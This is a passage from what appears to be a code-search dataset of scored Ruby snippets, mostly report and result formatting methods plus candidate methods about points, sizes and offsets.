result.each do |k, v|\n printf(\"%-#{tab_length}s %s\\n\", k, v.is_a?(Array) ? v.join(', ') : v)\n end\n puts '----------------------------------------------------------------------'\n end\n end", "title": "" }, { "docid": "5381ef221810d4c917cd03fc5860902e", "score": "0.59759283", "text": "def report_test_results(test_name, results)\n status = true\n message = \"\"\n for result in results\n # print (\"Status: \"+result[0].to_s+\"\\n\")\n status = (status && result[0])\n if (result[1].is_a?(Array))\n for m in result[1]\n message += m.to_s + \"\\n\\t\"\n end\n else\n message += result[1] + \"; \"\n end\n end\n\n report_test_result(test_name, status, message)\nend", "title": "" }, { "docid": "74eb90fb318f7bee1e78bd3802feb364", "score": "0.59752226", "text": "def results_output(city,results,count)\n #Output the name of the current city.\n puts \"#{city}:\"\n #If there are a positive number of listings format the results.\n if count>0\n #Loop through each result.\n results.each do |item|\n #Convert the number of listings for each language into a percentage.\n item[1] = (((item[1].to_f / count.to_f) *100).round())\n end\n #Sort descending by percentage\n sorted = results.sort_by{|x,y|y}.reverse\n #Loop through sorted results filtering out results with zero listings and formatting for output\n sorted.each do |item|\n #If the given language has more than zero results\n if item[1] >0\n #Output \"- Langauge: 50%\"\n puts \"- #{item[0]}: #{item[1].to_s} %\"\n end\n end\n #Otherwise, if the current city has no listings for any of the languages, output \"No Results\".\n else\n puts \"- No Results\"\n end\n end", "title": "" }, { "docid": "d832dd62f0ffeaefedda76a8555c52d4", "score": "0.5964031", "text": "def run\n Salesforce.set_http(session[:accesstoken], session[:accessurl])\n \t@response = Salesforce.run_report(params)\n @describe = Salesforce.describe_report(params)\n \trespond_to do |format|\n format.json { render :json => {:data => @response, :meta => @describe}.to_json}\n \tend\n end", "title": "" }, { "docid": "a1ab4fb99729ea9b86dfaf329bf54d6d", "score": "0.5963675", "text": "def showResults() \n\n end", "title": "" }, { "docid": "d73b06906cdd8bd9502c29af2bc24a3b", "score": "0.5960383", "text": "def results\n respond_to do |format|\n format.html do\n content = get_content('opportunities/results.yml')\n results = Search.new(params, limit: 500).run\n @subscription = SubscriptionForm.new(results).data\n @page = PagePresenter.new(content)\n @results = OpportunitySearchResultsPresenter.new(content, results)\n render layout: 'results'\n end\n format.any(:atom, :xml) do\n results = Search.new(params, limit: 500,\n results_only: true,\n sort: 'updated_at').run\n @query = AtomOpportunityQueryDecorator.new(results, view_context)\n render :index, formats: :atom\n end\n end\n end", "title": "" }, { "docid": "b5e0d550f5e255961e6152223aaa001c", "score": "0.5957329", "text": "def DisplayResults(data)\n\t\n\tputs \"Street Address: #{data[0]}\"\n\tputs \"Last Year Assessed Value: $#{data[1]}\"\n\tputs \"Current Assessed Value: $#{data[2]}\"\n\tputs \"Exemption: $25,000\"\n\tputs \"Taxable Value: $#{data[2]-25000}\"\n\tputs \"Tax Rate (per $1,000): $10.03\"\n\tputs \"Due: $#{data[3]}\"\nend", "title": "" }, { "docid": "76abe850603c4af949119e5d2a93cd7f", "score": "0.5942266", "text": "def render(output)\n\t\t\t\treport_classification\n\n\t\t\t\treport_title NessusReport.title\n\t\t\t\treport_subtitle \"Talking Points NessusReport\"\n\t\t\t\treport_author \"This report was prepared by\\n#{NessusReport.author}\"\n\n\t\t\t\t@output.text \"\\n\\n\\n\"\n\n\t\t\t\t@output.text \"Scan Date:\", :style => :bold\n\t\t\t\t@output.text \"#{NessusReport.scan_date}\"\n\t\t\t\t@output.text \"\\n\"\n\n\t\t\t\t# Number of hosts / score\n\t\t\t\t@output.text \"There were #{Host.count} hosts identified, containing #{Item.critical_risks.to_a.count + Item.high_risks.to_a.count} critical and high risks findings. Of those there were #{Item.critical_risks.to_a.count} Critical risks, and #{Item.high_risks.to_a.count} High risks.\"\n\n\t\t\t\t@output.text \"These critical and highs were discovered on #{Host.unique_hosts_with_critical_and_high_count} unique hosts. #{Item.risk_percent_rounded_text} of the total assessed computers were found to have an critical or high finding.\"\n\n\t\t\t\t# @TODO need vulnerable host count\n\n\t\t\t\t@output.text \"\\n\\n\\n\"\n\n\t\t\t\t# Top Hosts with Findings\n\t\t\t\t#@TODO need this call\n\n\t\t\t\t@output.text \"\\n\\n\\n\"\n\n\t\t\t\t# Notable Findings\n\t\t\t\tItem.top_10_table(@output)\n\n\n\t\t\t\t# Plugin_output keyword search?\n\n\t\t\t\t@output.number_pages \"<page> of <total>\", :at => [output.bounds.right - 75, 0], :width => 150, :page_filter => :all\n\t\t\tend", "title": "" }, { "docid": "0c86bddd6cab65fa1e39268d2f50f519", "score": "0.59401023", "text": "def report\n # Iterate over each qotd record and check if it is present verbatim\n # in the corresponding content AT file.\n discrepancies = []\n @qotd_records.each { |qotd_record|\n date_code = qotd_record[:title].downcase\n puts \" - processing #{ date_code }\"\n sanitized_qotd_content = sanitize_qotd_content(qotd_record[:contents])\n corresponding_content_at_file = RFile::ContentAt.find_by_date_code(\n date_code,\n \"at\",\n @content_type\n )\n\n if corresponding_content_at_file.nil?\n raise ArgumentError.new(\"Could not find content AT file for #{ date_code }\")\n end\n\n sanitized_content_at_plain_text = sanitize_content_at_plain_text(\n corresponding_content_at_file.plain_text_with_subtitles_contents({})\n )\n\n find_diffs_between_qotd_and_content_at(\n date_code,\n qotd_record[:publishdate],\n sanitized_qotd_content,\n sanitized_content_at_plain_text,\n discrepancies\n )\n }\n assign_discrepancy_types(discrepancies)\n discrepancies\n end", "title": "" }, { "docid": "12ef321a7e67271c82ca4768c5c93a55", "score": "0.5930383", "text": "def output_results_table(results={})\n puts\n puts \"----------------------------------------\"\n puts \"| Type | Mean | Median |\"\n puts \"----------------------------------------\"\n results.each do |label, hash|\n print \"| \" + label.ljust(10) + \" | \"\n print sprintf(\"%.6f\", hash[:mean]).rjust(10) + \" | \"\n puts sprintf(\"%.6f\", hash[:median]).rjust(10) + \" | \"\n end\n puts \"----------------------------------------\"\n puts\nend", "title": "" }, { "docid": "564e5651757a43a1d9989e513452d3c6", "score": "0.59243524", "text": "def display_results\r\n if @errors.empty?\r\n if @test_diff.empty?\r\n @out.puts \"Output matches exactly\"\r\n else\r\n @out.puts \"Test diff:\"\r\n @out.puts @test_diff\r\n end\r\n else\r\n @errors.each {|error| @out.puts error }\r\n end\r\n end", "title": "" }, { "docid": "adef6f1be4cf21b16a58007c1f9e62e9", "score": "0.5919001", "text": "def displayResults(numArray, total, avg, standardDev)\n\n\t# Header Row\n\tputs();\n\tputs(\"Line #\\tValue\");\n\tputs(\"------\\t-----\");\n\t\n\t# Data Row\n\tsum = 0;\n\tline = 0;\n\tnumArray.each do |x|\n\t\tsum = sum + x;\n\t\tline = line + 1;\n\t\tputs(\"#{line}\\t#{x}\");\n\tend;\n\t\n\t# Grand Total\n\tputs();\n\tputs(\"Total Number of Items: #{numArray.length()}\");\n\tputs(\"Grand Total: #{total}\");\n\n\t# Average\n\tputs();\n\tputs(\"Average: \" + format(\"%0.2f\" % [avg]));\n\t\n\t# Standard Deviation\n\tputs();\n\tputs(\"Standard Deviation: \" + format(\"%0.4f\" % [standardDev]));\n\t\nend", "title": "" }, { "docid": "400a30160c8540cc98bbd41afbcba8ba", "score": "0.5908687", "text": "def report\n super\n\n begin\n puts \"Writing HTML reports to #{@reports_path}\"\n erb_str = File.read(@erb_template)\n renderer = ERB.new(erb_str)\n\n tests_by_suites = tests.group_by { |test| test_class(test) } # taken from the JUnit reporter\n\n suites = tests_by_suites.map do |suite, tests|\n suite_summary = summarize_suite(suite, tests)\n suite_summary[:tests] = tests.sort { |a, b| compare_tests(a, b) }\n suite_summary\n end\n\n suites.sort! { |a, b| compare_suites(a, b) }\n\n result = renderer.result(binding)\n File.open(html_file, 'w') do |f|\n f.write(result)\n end\n\n # rubocop:disable Lint/RescueException\n rescue Exception => e\n puts 'There was an error writing the HTML report'\n puts 'This may have been caused by cancelling the test run'\n puts 'Use mode => :verbose in the HTML reporters constructor to see more detail' if @mode == :terse\n puts 'Use mode => :terse in the HTML reporters constructor to see less detail' if @mode != :terse\n raise e if @mode != :terse\n end\n # rubocop:enable Lint/RescueException\n end", "title": "" }, { "docid": "d24d14df9c985f848cc6f3f6e071c66b", "score": "0.5901545", "text": "def to_html\n Report.export(@analysis, :html)\n end", "title": "" }, { "docid": "bd18c4230ed09b7160696f28a245992a", "score": "0.5900676", "text": "def display_results_html\n\t\t output =\"<!DOCTYPE html><html xmlns=\\\"http://www.w3.org/1999/xhtml\\\"><head><title></title></head><body>\"\n\t\t output.concat(\"<table><thead><tr><td>FileName</td></tr><tr><td>#{@folder1}</td></tr><tr><td>#{@folder2}</td></tr><tr><td>Equal</td></tr></thead>\")\n @filehash.each{ |key, value| output.concat(\"<tbody><tr><td>#{value.file_name}</td></tr><tr><td>#{value.file_hash1}</td></tr><tr><td>#{value.file_hash2}</td></tr><tr><td>#{value.file_hash1==value.file_hash2}</td></tr>\")}\n output.concat(\"</tbody></table></body></html>\")\n puts output\n end", "title": "" }, { "docid": "5967b09e41877cd8b5aac80173561928", "score": "0.58971155", "text": "def print_result(formatted_result)\n puts formatted_result\n end", "title": "" }, { "docid": "c7c76402c0be9e08c23db77d12b302f0", "score": "0.5881182", "text": "def report(io = $stdout)\n io.puts \"%8.1f: %s\" % [total, \"flog total\"]\n io.puts \"%8.1f: %s\" % [average, \"flog/method average\"]\n\n return if option[:score]\n\n max = option[:all] ? nil : total * THRESHOLD\n if option[:group] then\n output_details_grouped io, max\n else\n output_details io, max\n end\n ensure\n self.reset\n end", "title": "" }, { "docid": "a7ef584db22d508f6bff7ec33ec87257", "score": "0.5879428", "text": "def display_result(result)\r\n puts result\r\n end", "title": "" }, { "docid": "656ece8fc5ff1b350389e2ebc7091485", "score": "0.58699995", "text": "def report(pattern, options)\n log.header 'Report'\n each_solution(pattern) do |solution|\n report_manager = ReportManager.new(solution)\n report_manager.convert(options[:type])\n end\n end", "title": "" }, { "docid": "761ab1facd9d8b65ab7b9b4cac62967a", "score": "0.58692265", "text": "def show\n @report = @report_orders_by_user.gen_report.each(:as => :hash)\n\n respond_to do |format|\n format.html\n format.pdf do\n pdf = ReportOrdersByUsers.new(@report, view_context)\n send_data pdf.render, filename: \"report_orders_by_users.pdf\",\n type: \"application/pdf\",\n disposition: \"inline\"\n end\n end\n\n end", "title": "" }, { "docid": "3305125f021d5bfae7b97387f72153a0", "score": "0.5859237", "text": "def render(result)\n headers = [:msgid,:file,:line,:short_desc,:long_desc,:details]\n data = CSV.generate(\"\", :row_sep => \"\\r\\n\", :headers => headers, :write_headers => true) do |csv|\n result.each do |row|\n csv << row.values_at(*headers)\n end\n end\n @io << data\n end", "title": "" }, { "docid": "1a5d2fe2ced007f6bb530de112e98656", "score": "0.5847728", "text": "def print_report\n # total_bikes = @fleet.count \n # broken_bikes = @fleet.count {|b| b.is_broken?}\n # working_bikes = total_bikes-broken_bikes\n total_people = @people.count\n total_stations = @stations.count\n # show_stations = @stations.each do {|name, capacity| puts \"#{name}, #{capacity}\"}\n #tell me its name and capcity\n # puts \"Total bikes: #{total_bikes}\"\n # puts \"Broken bikes: #{broken_bikes}\"\n # puts \"Working bikes: #{working_bikes}\"\n puts \"Total people: #{total_people}\"\n # puts \"People with bikes: #{people_with_bikes}\"\n puts \"People without bikes #{people_without_bikes.count}\" \n puts \"Number of stations: #{total_stations}\" \n puts \"Stations:\"\n @stations.each do |station|\n puts \"#{station.name}, #{station.capacity}, #{station.bikes.count}\"\n end\n # result = \"total bikes #{total_bikes}\\n\" + \"broken bikes #{broken_bikes}\\n\" + \"working bikes #{working_bikes}\\n\"\n # result + \"total people #{total_people}\\n\" + \"people with bikes #{people_with_bikes}\\n\" + \"people without bikes #{people_without_bikes}\\n\" + \"number of stations #{total_stations}\\n\" + \"stations #{show_stations}\"\n end", "title": "" }, { "docid": "2153caa30fec12ebb2f635b885ab7ede", "score": "0.58398736", "text": "def report_list(_)\n report_templates = ReportPrivate.all_report_templates(@path_to)\n report_templates = yield(report_templates) if block_given?\n @console.info self, ReportPrivate.table(report_templates)\n end", "title": "" }, { "docid": "24d9cdf05598e6f9f9e93136ea738474", "score": "0.5819158", "text": "def report\n filtered = apply_filter(self.relation)\n\n count = self.count(filtered) if @q.select.count?\n\n list = if @q.select.list?\n self.list(filtered)\n else\n []\n end\n\n calculations = self.calculations(filtered)\n Listing::Report.new(\n @q.options,\n list,\n calculations,\n count\n )\n end", "title": "" }, { "docid": "e0a745e4b3f94b39fe57dec15a4b114d", "score": "0.5814638", "text": "def Results(testcase_no, checkpoint, result, screenshot)\n Current_Date_Time()\n\t$fileHtml.puts \"</td><tr><td width=110><font size=2 face=verdana>\"\n\t$fileHtml.puts \"#{testcase_no}\"\n\t$fileHtml.puts \"</td><td width=400><font size=2 face=verdana>\"\n\t$fileHtml.puts \"#{checkpoint}\"\n \tif (\"#{result}\" == \"PASS\")\n $fileHtml.puts \"</td><td width=100 bgcolor=green><font size=2 face=verdana color=white><center><font color=white>\"\n\t elsif (\"#{result}\" == \"FAIL\")\n\t Capture_Screenshot(screenshot, testcase_no)\t \n $fileHtml.puts \"</td><td width=100 bgcolor=red><font size=2 face=verdana color=white><center><a href ='\" + \"#{$shot}\" + \"'><font color=white>\"\n\t else\n $fileHtml.puts \"</td><td width=100 bgcolor=SeaShell><font size=2 face=verdana color=white><center>\"\n\t end\n $fileHtml.puts \"#{result}\"\n $fileHtml.puts \"</a>\"\n $fileHtml.puts \"</td><td width=110><font size=2 face=verdana><center>\"\n $fileHtml.puts \"#{$current_time}\"+\" \"+\"#{$current_date}\"\n $fileHtml.puts \"</td>\"\nend", "title": "" }, { "docid": "1bd92431d400a2414c0fca436b6de8db", "score": "0.5810163", "text": "def create(results, cls, user, custom_body=nil, complete_html= false)\n\t\t@report = WickedCore.new\n\t\t@report.open(results, cls,\"CDISC Terminology Change Report\", \"\", [], user, custom_body, complete_html)\n\t\t@report.close unless complete_html\n\t\treturn @report.html\n\tend", "title": "" }, { "docid": "45ac57e2c4978ca31e53e7b55a28e533", "score": "0.58098227", "text": "def verbose_report\n result = header\n result += \":\\n#{smell_list}\" if should_report\n result += \"\\n\"\n result\n end", "title": "" }, { "docid": "7bd77e995a545150a59ac202ac108b29", "score": "0.58074105", "text": "def write_report\n\n end", "title": "" }, { "docid": "fe5083d681a853621f8f2f8c30869ad9", "score": "0.58068454", "text": "def calculate_results\n Repository::Config.new(@repo, @log, @process, @type).status(5) {\n files = files_to_analyze\n puts '-----Files to analyze done (Step 1)'\n files = prepare_files_to_rate files\n puts '-----Prepare files to rate done (Step 2)'\n files = count_total_lines files\n puts '-----Count total lines done (Step 3)'\n files = count_errors files\n puts '-----Count errors done (Step 4)'\n files = grade_categories files\n puts '-----Grade categories done (Step 5)'\n files = grade_files files\n puts '-----Grade files done (Step 6)' + files.to_s\n gpa = grade_repo files\n puts '-----Grade repos done (Step 7)' + gpa.to_s\n gpa_percent = get_overall_grades files\n puts '-----Grade overall percentage done (Step 8)' + gpa_percent.to_s\n cat_issues = get_category_issues files\n puts '-----Get categories issues done (Step 9)' + cat_issues.to_s\n store_cat_issues cat_issues\n puts '-----Store category issues done (Step 10)'\n store_grades gpa, gpa_percent\n puts '-----Store grades done (Step 11)'\n }\n end", "title": "" }, { "docid": "b213a088c05ec45b8ce3fc4871413df4", "score": "0.5805728", "text": "def publish_results\n # @contest is fetched by CanCan\n\n # Define params for PDF output\n prawnto filename: \"ergebnisliste#{random_number}\", prawn: { page_size: 'A4', skip_page_creation: true }\n @contest_category = ContestCategory.find(params[:contest_category_id]) if params[:contest_category_id]\n @age_group = params[:age_group] if params[:age_group]\n @performances = @contest.performances\n .where(contest_category_id: @contest_category, age_group: @age_group)\n .accessible_by(current_ability)\n .order(:stage_time)\n end", "title": "" }, { "docid": "cecfac6378298d2b3299f2f2d092f85b", "score": "0.5799775", "text": "def render(presult)\n self.render_headings(presult) + self.render_body(presult)\n end", "title": "" }, { "docid": "406cc82811e225fd9f13b6b4f5fd0a5c", "score": "0.5799166", "text": "def format_result(result)\n result\n end", "title": "" } ]
d421e0c5d2acb5a180228bfb42dcd7b7
Accepts 1 or 2 arguments 1 argument should be a CGPoint, CGSize, Array[Numeric, Numeric] or UIOffset 2 arguments should be Numeric, Numeric
[ { "docid": "cb4acedccdb487b99e1110437b83ebb5", "score": "0.0", "text": "def Size(w_or_size, h=nil)\n unless h\n case w_or_size\n when CGSize\n w = w_or_size.width\n h = w_or_size.height\n when CGPoint\n w = w_or_size.x\n h = w_or_size.y\n when UIOffset\n w = w_or_size.horizontal\n h = w_or_size.vertical\n when Array\n w = w_or_size[0]\n h = w_or_size[1]\n else\n raise RuntimeError.new(\"Invalid argument sent to Size(#{w_or_size.inspect})\")\n end\n else\n w = w_or_size\n end\n return CGSize.new(w, h)\n end", "title": "" } ]
[ { "docid": "1cf87bccbfb5cb490a36f99dc4b83661", "score": "0.6387439", "text": "def offset(arg0)\n end", "title": "" }, { "docid": "559a1dfdd7ea09009c5ad39a982baa21", "score": "0.6030894", "text": "def adjust(begin_pos: T.unsafe(nil), end_pos: T.unsafe(nil)); end", "title": "" }, { "docid": "559a1dfdd7ea09009c5ad39a982baa21", "score": "0.6030894", "text": "def adjust(begin_pos: T.unsafe(nil), end_pos: T.unsafe(nil)); end", "title": "" }, { "docid": "559a1dfdd7ea09009c5ad39a982baa21", "score": "0.6030894", "text": "def adjust(begin_pos: T.unsafe(nil), end_pos: T.unsafe(nil)); end", "title": "" }, { "docid": "fa71b7021b7d619d5435757197e2f311", "score": "0.6001894", "text": "def offset(*) end", "title": "" }, { "docid": "548e6cb0acd7686e997d30ce44e3ccee", "score": "0.5890653", "text": "def x_offset; end", "title": "" }, { "docid": "32fdbb4c1f01efa660e9f762eac57dba", "score": "0.5658971", "text": "def normalize_offset(offset); end", "title": "" }, { "docid": "eafabd25c795859e676c5e4d442d9a17", "score": "0.56133866", "text": "def y_offset; end", "title": "" }, { "docid": "9bfd51b9a7c804c6ddb33e35e1b7dbd9", "score": "0.55582047", "text": "def offset; end", "title": "" }, { "docid": "9bfd51b9a7c804c6ddb33e35e1b7dbd9", "score": "0.55582047", "text": "def offset; end", "title": "" }, { "docid": "9bfd51b9a7c804c6ddb33e35e1b7dbd9", "score": "0.55582047", "text": "def offset; end", "title": "" }, { "docid": "6c2e809cf3d3757882fc1e528abb9506", "score": "0.5471354", "text": "def offset!(vector, length=vector.length)\n end", "title": "" }, { "docid": "809091d47e99317451abcc1cc0e42483", "score": "0.5422604", "text": "def update!(**args)\n @x_offsets = args[:x_offsets] if args.key?(:x_offsets)\n @y_offsets = args[:y_offsets] if args.key?(:y_offsets)\n end", "title": "" }, { "docid": "809091d47e99317451abcc1cc0e42483", "score": "0.5422604", "text": "def update!(**args)\n @x_offsets = args[:x_offsets] if args.key?(:x_offsets)\n @y_offsets = args[:y_offsets] if args.key?(:y_offsets)\n end", "title": "" }, { "docid": "d0bbda08443e48c39beb1f138227b427", "score": "0.53389466", "text": "def source_pts=(_arg0); end", "title": "" }, { "docid": "97cd504406cd3b38c2a332bf5ae27301", "score": "0.5329115", "text": "def check_offset(*)\n false\n end", "title": "" }, { "docid": "e1699192d64975ed61975e0bcabedeae", "score": "0.52989906", "text": "def translate(*offset)\n p = Point.new(*offset)\n self + p\n end", "title": "" }, { "docid": "549aec7e984a9c5499adef92f200b385", "score": "0.5284455", "text": "def offset(vector, length=vector.length)\n end", "title": "" }, { "docid": "6890b04ee9aba05f3929cd78b9b2cc1b", "score": "0.52714145", "text": "def markerPos _args\n \"markerPos _args;\" \n end", "title": "" }, { "docid": "7ffc9aa5fcf366a6c14691c360bcbefb", "score": "0.52684516", "text": "def derive_offsets(transitions, offsets); end", "title": "" }, { "docid": "7ffc9aa5fcf366a6c14691c360bcbefb", "score": "0.52684516", "text": "def derive_offsets(transitions, offsets); end", "title": "" }, { "docid": "acc08d24baddedff589cfda6e6b9bf7a", "score": "0.5261522", "text": "def lookAtPos _obj, _args\n \"_obj lookAtPos _args;\" \n end", "title": "" }, { "docid": "8708f96e91db328d642b0d92fbb96bde", "score": "0.52364063", "text": "def Offset(horizontal_or_offset, vertical=nil)\n unless vertical\n case horizontal_or_offset\n when UIOffset\n horizontal = horizontal_or_offset.horizontal\n vertical = horizontal_or_offset.vertical\n when CGPoint\n horizontal = horizontal_or_offset.x\n vertical = horizontal_or_offset.y\n when CGSize\n horizontal = horizontal_or_offset.width\n vertical = horizontal_or_offset.height\n when Array\n horizontal = horizontal_or_offset[0]\n vertical = horizontal_or_offset[1]\n when Numeric\n horizontal = horizontal_or_offset\n vertical = horizontal_or_offset\n else\n raise RuntimeError.new(\"Invalid argument sent to Offset(#{horizontal_or_offset.inspect})\")\n end\n else\n horizontal = horizontal_or_offset\n end\n return UIOffset.new(horizontal, vertical)\n end", "title": "" }, { "docid": "ee2ae2e153a080bff05ae7c488edd403", "score": "0.5234554", "text": "def source_pts; end", "title": "" }, { "docid": "1fb5656a611cdfc55677736d61f1a0b6", "score": "0.5171345", "text": "def starting_position=(_arg0); end", "title": "" }, { "docid": "3d41982a357c1e5ca2c10ec24857c7d8", "score": "0.5159182", "text": "def offset=(arg)\n @offset__ =\n case arg\n when Vector then arg\n when Array then Vector.new(arg[0] || 0, arg[1] || 0)\n when nil then nil\n else raise ArgumentError\n end\n @offset__\n end", "title": "" }, { "docid": "eef30c5faa9275867c3081f9ab760467", "score": "0.5157305", "text": "def current_offset; end", "title": "" }, { "docid": "d96161d4c62fd3f340227eb1a9cde313", "score": "0.5156968", "text": "def calc_center_point(aArray)\r\nend", "title": "" }, { "docid": "5e971e954812ca4bdc08b038612c7eaf", "score": "0.5144282", "text": "def offset(x, y)\n @left += x\n @top += y\n @right += x\n @bottom += y\n end", "title": "" }, { "docid": "12ffd0c851eeb47679a4871b09b5572f", "score": "0.5135419", "text": "def fire(offset = T.unsafe(nil)); end", "title": "" }, { "docid": "12ffd0c851eeb47679a4871b09b5572f", "score": "0.5135419", "text": "def fire(offset = T.unsafe(nil)); end", "title": "" }, { "docid": "4a8d6174566e0a7790e9dc166aae62ba", "score": "0.5127058", "text": "def limit_and_offset\n r = super\n if r.first == 1\n r\n else\n [1, r[1]]\n end\n end", "title": "" }, { "docid": "021e4166abdc2fa51f6bdd5d4b6fa1e5", "score": "0.5119232", "text": "def player_position_look_update; end", "title": "" }, { "docid": "659481790c194a631e472fbdfbe37772", "score": "0.50957865", "text": "def pos=(_arg0); end", "title": "" }, { "docid": "9ed08169b330f6031eca0bf38e9fcf5a", "score": "0.5095414", "text": "def position=(_arg0); end", "title": "" }, { "docid": "d5a8f10cdcdb3c5b8f454d2d55fa77e1", "score": "0.5069543", "text": "def shift!(offset); @tstart += offset ; @tend += offset; @as_range = nil end", "title": "" }, { "docid": "3d503da2a5d46ba1e8646135e13e87da", "score": "0.5052772", "text": "def call(offset = T.unsafe(nil)); end", "title": "" }, { "docid": "a09756d7b4aead84fc45f75027443d50", "score": "0.5052209", "text": "def hash_args\n [@offset_start] + super\n end", "title": "" }, { "docid": "854ea5492fc848ebf904cdf30a301a92", "score": "0.50505435", "text": "def first_offset; end", "title": "" }, { "docid": "854ea5492fc848ebf904cdf30a301a92", "score": "0.50505435", "text": "def first_offset; end", "title": "" }, { "docid": "1563d52709d2c74091912dcb224f095b", "score": "0.5039717", "text": "def offset_vector=(offset_vector)\n end", "title": "" }, { "docid": "c3629d94dab62477624076151da21523", "score": "0.50334823", "text": "def setUnitPos _obj, _args\n \"_obj setUnitPos _args;\" \n end", "title": "" }, { "docid": "4e995284bd17ae1452cb901a1b1dbd6e", "score": "0.50274616", "text": "def setMarkerPos _obj, _args\n \"_obj setMarkerPos _args;\" \n end", "title": "" }, { "docid": "51ab9e63ba678934d9ed48512cdde87d", "score": "0.5017953", "text": "def update!(**args)\n @x_offsets = args[:x_offsets] if args.key?(:x_offsets)\n @y_offsets = args[:y_offsets] if args.key?(:y_offsets)\n @z_offsets = args[:z_offsets] if args.key?(:z_offsets)\n end", "title": "" }, { "docid": "51ab9e63ba678934d9ed48512cdde87d", "score": "0.5017953", "text": "def update!(**args)\n @x_offsets = args[:x_offsets] if args.key?(:x_offsets)\n @y_offsets = args[:y_offsets] if args.key?(:y_offsets)\n @z_offsets = args[:z_offsets] if args.key?(:z_offsets)\n end", "title": "" }, { "docid": "0499d719f0d296e29401df2877e8bb77", "score": "0.5017041", "text": "def offset_ly\n size_l.blank? ? '' : size_l.split(/x|\\+/)[3].to_i\nend", "title": "" }, { "docid": "3a7978be4621c2cf8ea0cdf2d60f5a7f", "score": "0.5013368", "text": "def update!(**args)\n @time_offset = args[:time_offset] if args.key?(:time_offset)\n @x_max = args[:x_max] if args.key?(:x_max)\n @x_min = args[:x_min] if args.key?(:x_min)\n @y_max = args[:y_max] if args.key?(:y_max)\n @y_min = args[:y_min] if args.key?(:y_min)\n end", "title": "" }, { "docid": "49b044efd51ffb11944cf7f3be8ab84d", "score": "0.5013086", "text": "def validate_offset!(options)\r\n return unless options[:offset]\r\n\r\n if options[:offset].to_s == \"0\"\r\n options.delete :offset\r\n elsif options[:offset].to_i < 0 || options[:offset].to_s[/\\D+/]\r\n raise InvalidOffset,\r\n \"offset must be a number zero or greater\"\r\n end\r\n\r\n options[:offset]\r\n end", "title": "" }, { "docid": "c9491cca9a8f832a4dabff40f59a2177", "score": "0.5006363", "text": "def getMarkerPos _args\n \"getMarkerPos _args;\" \n end", "title": "" }, { "docid": "a0b630928bdf9271d6506613bbbdcca4", "score": "0.4989269", "text": "def bt_coerce_slice(*args)\n case args.size\n when 0\n [vt_range, Time.zone.now]\n when 1\n [ARange[*args], Time.zone.now]\n when 2\n case args.first\n when Range\n args\n else\n [ARange[*args], Time.zone.now]\n end\n when 3\n [ARange[args.at(0),args.at(1)], args.at(2)]\n else\n raise ArgumentError\n end\n end", "title": "" }, { "docid": "30b3374609978b5324cdd34e1c06d8ea", "score": "0.4985", "text": "def touch_moved(touch); end", "title": "" }, { "docid": "5564f44dcc0fdab3b362f66555e2e180", "score": "0.4969262", "text": "def offset_by(*c)\n body =\n case c.length\n when 0 then proc { |t| t }\n when 1\n if c[0] == 0 || !c[0]\n proc { |t| t }\n else\n proc { |t| c[0] + t }\n end\n when 2 then proc { |t| c[0] + c[1] * t }\n when 3 then proc { |t| c[0] + c[1] * t + c[2] * t**2 }\n else\n raise ArgumentError,\n 'Only polynomilas of order 2 or lower are supported'\n end\n\n redefine_method :offset, body\n end", "title": "" }, { "docid": "83bf3ebd8cdb00dcf5e6f7350314e2cd", "score": "0.49647447", "text": "def offset_lx\n size_l.blank? ? '' : size_l.split(/x|\\+/)[2].to_i\nend", "title": "" }, { "docid": "0075b67c682ba5fbbbdb59da399792bb", "score": "0.49537277", "text": "def update!(**args)\n @start_time_offset = args[:start_time_offset] if args.key?(:start_time_offset)\n @xy = args[:xy] if args.key?(:xy)\n end", "title": "" }, { "docid": "4c1694b5045a7cfe8b854d5907aa9597", "score": "0.49524614", "text": "def unitPos _args\n \"unitPos _args;\" \n end", "title": "" }, { "docid": "05aab0bdbbc605ba2c3efb34e459a385", "score": "0.49501872", "text": "def move_once(offset, pos)\n temp_pos = []\n pos.each_index do |i|\n temp_pos << pos[i] + offset[i]\n end\n temp_pos\n end", "title": "" }, { "docid": "f47ea7f459998c6df30209ffa26f636a", "score": "0.4941707", "text": "def farpoint() origin + size end", "title": "" }, { "docid": "35b77b07beceef5225f882a945a862f3", "score": "0.4939705", "text": "def move_to(x, y); end", "title": "" }, { "docid": "a677f2442596c032569255f8fdb5b31a", "score": "0.49396572", "text": "def utc_offset(time = T.unsafe(nil)); end", "title": "" }, { "docid": "ace2b2860d3fba286e2798c6306128bf", "score": "0.49215272", "text": "def position_changing(position , to)\n end", "title": "" }, { "docid": "cbe78d5e4fc91740e30276dde769e28b", "score": "0.49135935", "text": "def adjust _x, _y\n x += _x\n y += _y\n end", "title": "" }, { "docid": "19162bac967cb457b7cb61310a2f9d61", "score": "0.4911288", "text": "def position=(point); end", "title": "" }, { "docid": "5a75b049ca172b2aab0be0dcfe41088d", "score": "0.4892605", "text": "def offset(*args)\n args.size > 0 ? skip(args.first) : options[:skip]\n end", "title": "" }, { "docid": "0c13c71e814b8c857e8faaae16bf32ee", "score": "0.48864532", "text": "def move_diffs\n raise NotImplementedError\n end", "title": "" }, { "docid": "97b339ee024b8440bc905ba1c14d10f4", "score": "0.48786515", "text": "def move_points(vec)\r\n if (@selection >= 0)\r\n # Moving a control point\r\n if ((@selection == 0) or (@selection == 3))\r\n @pts[0].offset!(vec)\r\n else\r\n @pts[1].offset!(vec)\r\n end\r\n else\r\n # moving a segment\r\n @pts[0].offset!(vec)\r\n @pts[1].offset!(vec) \r\n end\r\nend", "title": "" }, { "docid": "f4af92669f80e6e7ee6a7a44a06eb48f", "score": "0.48671103", "text": "def pos() end", "title": "" }, { "docid": "f4af92669f80e6e7ee6a7a44a06eb48f", "score": "0.48671103", "text": "def pos() end", "title": "" }, { "docid": "f4af92669f80e6e7ee6a7a44a06eb48f", "score": "0.48671103", "text": "def pos() end", "title": "" }, { "docid": "f4af92669f80e6e7ee6a7a44a06eb48f", "score": "0.48671103", "text": "def pos() end", "title": "" }, { "docid": "7c4e6912cde56a7ef38385e785b83259", "score": "0.48547247", "text": "def position; end", "title": "" }, { "docid": "7c4e6912cde56a7ef38385e785b83259", "score": "0.48547247", "text": "def position; end", "title": "" }, { "docid": "7c4e6912cde56a7ef38385e785b83259", "score": "0.48547247", "text": "def position; end", "title": "" }, { "docid": "7c4e6912cde56a7ef38385e785b83259", "score": "0.48547247", "text": "def position; end", "title": "" }, { "docid": "7c4e6912cde56a7ef38385e785b83259", "score": "0.48547247", "text": "def position; end", "title": "" }, { "docid": "7c4e6912cde56a7ef38385e785b83259", "score": "0.48547247", "text": "def position; end", "title": "" }, { "docid": 